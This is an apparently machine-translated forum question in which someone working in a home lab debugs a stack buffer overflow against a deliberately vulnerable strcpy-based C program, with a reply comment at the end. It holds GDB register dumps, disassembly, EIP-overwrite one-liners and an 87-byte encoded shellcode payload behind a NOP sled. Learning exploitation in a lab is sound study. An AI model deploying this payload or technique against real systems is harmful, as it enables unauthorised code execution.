Я работаю над некоторыми примерами эксплойтов с переполнением буфера и написал базовое уязвимое приложение C для тестирования с помощью: (цель и злоумышленник - одна и та же машина Kali 2 и выполнили "echo" 0 "> / proc / sys / kernel / randomize_va_space")
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char buffer[256];
if (argc != 2)
{
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
Теперь, после некоторого тестирования в GDB, я могу вызвать ошибку сегмента, поместив 260 байт в буфер:
r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52')
с регистрами, показывающими:
eax 0x105 261
ecx 0xffffd300 -11520
edx 0xf7fb3878 -134530952
ebx 0xf7fb2000 -134537216
esp 0xffffd300 0xffffd300
ebp 0x0 0x0
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
Я думаю, что могу успешно получить контроль над EIP, учитывая 0x424242 выше (хотя EBP - 0x0 ??)
Вопрос 1.
При буфере 260 байт EIP переопределяется, как указано выше. При использовании:
r $(python -c 'print "A" * 512')
Я обнаружил, что SEGSEGV находится по адресу 0x080484b4 с регистрами
eax 0x201 513
ecx 0x41414141 1094795585
edx 0xf7fb3878 -134530952
ebx 0xf7fb2000 -134537216
esp 0x4141413d 0x4141413d
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x80484b4 0x80484b4 <main+89>
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
Я бы подумал, что если 260 получит контроль над EIP, не должен ли пример 512 байт тоже? Почему сценарий 512 позволяет EIP указывать на ret в этом случае вместо 0x424242, как в приведенном выше примере буфера на 260 байт?
Вопрос 2.
Я создал полезную нагрузку размером 87 байтов. Я ввел полезную нагрузку в начальные 204 байта, как показано ниже.
r $(python -c 'print "\x90" * (204-87) + "<87 byte payload>" + "EIP <address>" + "\x90" * (260-204-4)')
Моя главная проблема заключается в следующем
0x0804845b <+0>: lea 0x4(%esp),%ecx
0x0804845f <+4>: and $0xfffffff0,%esp
0x08048462 <+7>: pushl -0x4(%ecx)
0x08048465 <+10>: push %ebp
0x08048466 <+11>: mov %esp,%ebp
0x08048468 <+13>: push %ecx
0x08048469 <+14>: sub $0x104,%esp
0x0804846f <+20>: mov %ecx,%eax
0x08048471 <+22>: cmpl $0x2,(%eax)
0x08048474 <+25>: je 0x8048480 <main+37>
0x08048476 <+27>: sub $0xc,%esp
0x08048479 <+30>: push $0x0
0x0804847b <+32>: call 0x8048340 <exit@plt>
0x08048480 <+37>: mov 0x4(%eax),%eax
0x08048483 <+40>: add $0x4,%eax
0x08048486 <+43>: mov (%eax),%eax
0x08048488 <+45>: sub $0x8,%esp
0x0804848b <+48>: push %eax
0x0804848c <+49>: lea -0x108(%ebp),%eax
0x08048492 <+55>: push %eax
0x08048493 <+56>: call 0x8048310 <strcpy@plt>
0x08048498 <+61>: add $0x10,%esp
0x0804849b <+64>: sub $0xc,%esp
0x0804849e <+67>: lea -0x108(%ebp),%eax
0x080484a4 <+73>: push %eax
0x080484a5 <+74>: call 0x8048320 <puts@plt>
0x080484aa <+79>: add $0x10,%esp
0x080484ad <+82>: mov -0x4(%ebp),%ecx
0x080484b0 <+85>: leave
0x080484b1 <+86>: lea -0x4(%ecx),%esp
=> 0x080484b4 <+89>: ret
Сделав паузу на 56 (0x08048493) и изучив ESP x / 2wx $ esp, я могу обнаружить, что:
0xffffd220: 0xffffd230 0xffffd56b
и х / с 0xffffd56b
0xffffd56b: 'A' <repeats 117 times>, 'B' <repeats 83 times>...
(gdb)
0xffffd633: "BBBBCCCC", 'D' <repeats 52 times>
Итак, можно сделать вывод (надеюсь, правильно), что EIP должен быть \ x6b \ xd5 \ xff \ xff для вызова эксплойта и заменять все части, как показано ниже (с помощью nop sled):
r $(python -c 'print "\x90" * (204-87) + "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa9\xb2\x8c\x21\x7d\xac\xb1\x84\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xc3\x89\xd4\xb8\x35\x17\x9e\xe6\xc0\xdc\xa3\x52\x15\xac\xe2\xcc\x20\x55\xe4\x0c\x1e\xac\xb1\xcc\x20\x54\xde\xc9\x75\xac\xb1\x84\x86\xd0\xe5\x4f\x52\xdf\xd9\x84\xff\xe5\xc4\xa8\x9b\xa3\xb4\x84" + "\x6b\xd5\xff\xff" + "\x90" * (260-204-4)')
К сожалению, теперь программа просто завершается нормально с сообщением «[Нижний предел 1 (процесс 2863) завершился нормально]». Я что-то упускаю или просто сбился с правильного пути ...? Также я заметил, что в приведенном выше утверждении нет разрывов?
-- Редактировать
Перефразировано, чтобы было больше смысла после ухода от часов на экране :)
main
помогла бы. Каким-то образом вы перезаписываетеesp
, что затем вызывает ошибку вret
. Также обратите внимание, что аргументы находятся в стеке, поэтому, если вы измените аргументы, макет стека изменится. - person Jester   schedule 08.11.2015